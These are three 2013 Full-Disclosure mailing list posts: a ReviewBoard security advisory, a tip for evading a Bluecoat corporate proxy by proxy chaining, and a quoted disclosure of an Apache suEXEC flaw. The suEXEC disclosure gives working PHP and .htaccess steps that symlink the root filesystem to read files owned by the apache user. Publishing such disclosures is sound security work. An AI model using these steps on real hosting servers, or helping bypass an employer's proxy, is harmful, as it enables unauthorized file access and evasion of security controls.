ReviewBoard (www.reviewboard.org) aims to 'take the pain out of code review'. Integration with source control makes it imperative to maintain proper protections on this server. I have worked with the developers to resolve multiple XSS conditions and harden web server configurations. The XSS conditions are resolved by upgrading to the latest release but the arguably more important fix (configuration change) must be manually applied to existing sites. ReviewBoard admins are advised to upgrade and review your Apache/nginx configurations to avoid access control bypass, code execution, and xss. I have prepared a blog post to explain the issues and provide proof-of-concept/reproduction information: http://www.tripwire.com/state-of-security/vulnerability-management/vulnerabilities-its-time-to-review-your-reviewboard/ Thanks, Craig Young Security Researcher, Tripwire VERT @CraigTweets ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] pixlr.com bluecoat image file bypass
its called proxy chaining/tunneling and you can setup your own proxy to bypass your company's proxy using https://code.google.com/p/phproxyimproved/ [3] or similar. Am 2013-08-08 18:27, schrieb debug: > if one is confined to the bluecoat (bluecoat.com) proxysg, the > pixlr.com/editor page allows him or her to bypass the proxy to > download arbitrary images from any source assuming the pixlr.com > servers have access themselves to retrieve the image. > > donations to btc: 1CGw4gpZGZkpQeUMg7s6ip3hp8ZRj9pTGx > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html [1] > Hosted and sponsored by Secunia - http://secunia.com/ [2] Links: -- [1] http://lists.grok.org.uk/full-disclosure-charter.html [2] http://secunia.com/ [3] https://code.google.com/p/phproxyimproved/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
So what your Emails Tell me is better ignore this vulnerability. I dont Claim
its a High severity Bug but if you Tell People to ignore it Because it isnt a
vulnerability you are very much aiding the Chaos of insecurity in the Internet
today. You Maybe have a Secure Setting but theres only you on the Planet.
Attackers Look specifically for such Bugs to Open Servers. No Wonder we have
compromises in a High Scale every Day due to this ignorance. My rant on that
One.
Am 07.08.2013 um 21:49 schrieb king cope
:
> Apache suEXEC privilege elevation / information disclosure
>
> Discovered by Kingcope/Aug 2013
>
> The suEXEC feature provides Apache users the ability to run CGI and SSI
> programs
> under user IDs different from the user ID of the calling web server. Normally,
> when a CGI or SSI program executes, it runs as the same user who is running
> the
> web server.
> Used properly, this feature can reduce considerably the security risks
> involved
> with allowing users to develop and run private CGI or SSI programs.
>
> With this bug an attacker who is able to run php or cgi code inside a web
> hosting environment and the environment is configured to use suEXEC as a
> protection mechanism, he/she is able to read any file and directory on the
> file-
> system of the UNIX/Linux system with the user and group id of the
> apache web server.
>
> Normally php and cgi scripts are not allowed to read files with the apache
> user-
> id inside a suEXEC configured environment.
>
> Take for example this apache owned file and the php script that follows.
>
> $ ls -la /etc/testapache
> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
> only user www-data should be able to read this file.
>
> $ cat test.php
> system("id; cat /etc/testapache");
> ?>
>
> When calling the php file using a webbrowser it will show...
> uid=1002(example) gid=1002(example) groups=1002(example)
>
> because the php script is run trough suEXEC.
> The script will not output the file requested because of a permissions error.
>
> Now if we create a .htaccess file with the content...
> Options Indexes FollowSymLinks
>
> and a php script with the content...
>
> system("ln -sf / test99.php");
>symlink("/", "test99.php"); // try builtin function in case when
>//system() is blocked
> ?>
> in the same folder
>
> ..we can access the root filesystem with the apache uid,gid by
> requesting test99.php.
> The above php script will simply create a symbolic link to '/'.
>
> A request to test99.php/etc/testapache done with a web browser shows..
> voila! read with the apache uid/gid
>
> The reason we can now read out any files and traverse directories owned by the
> apache user is because apache httpd displays symlinks and directory listings
> without querying suEXEC.
> It is not possible to write to files in this case.
>
> Version notes. Assumed is that all Apache versions are affected by this bug.
>
> apache2 -V
> Server version: Apache/2.2.22 (Debian)
> Server built: Mar 4 2013 21:32:32
> Server's Module Magic Number: 20051115:30
> Server loaded: APR 1.4.6, APR-Util 1.4.1
> Compiled using: APR 1.4.6, APR-Util 1.4.1
> Architecture: 32-bit
> Server MPM: Worker
> threaded: yes (fixed thread count)
>forked: yes (variable process count)
> Server compiled with
> -D APACHE_MPM_DIR="server/mpm/worker"
> -D APR_HAS_SENDFILE
> -D APR_HAS_MMAP
> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> -D APR_USE_SYSVSEM_SERIALIZE
> -D APR_USE_PTHREAD_SERIALIZE
> -D APR_HAS_OTHER_CHILD
> -D AP_HAVE_RELIABLE_PIPED_LOGS
> -D DYNAMIC_MODULE_LIMIT=128
> -D HTTPD_ROOT="/etc/apache2"
> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> -D DEFAULT_ERRORLOG="logs/error_log"
> -D AP_TYPES_CONFIG_FILE="mime.types"
> -D SERVER_CONFIG_FILE="apache2.conf"
>
> Cheers,
> /Kingcope
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
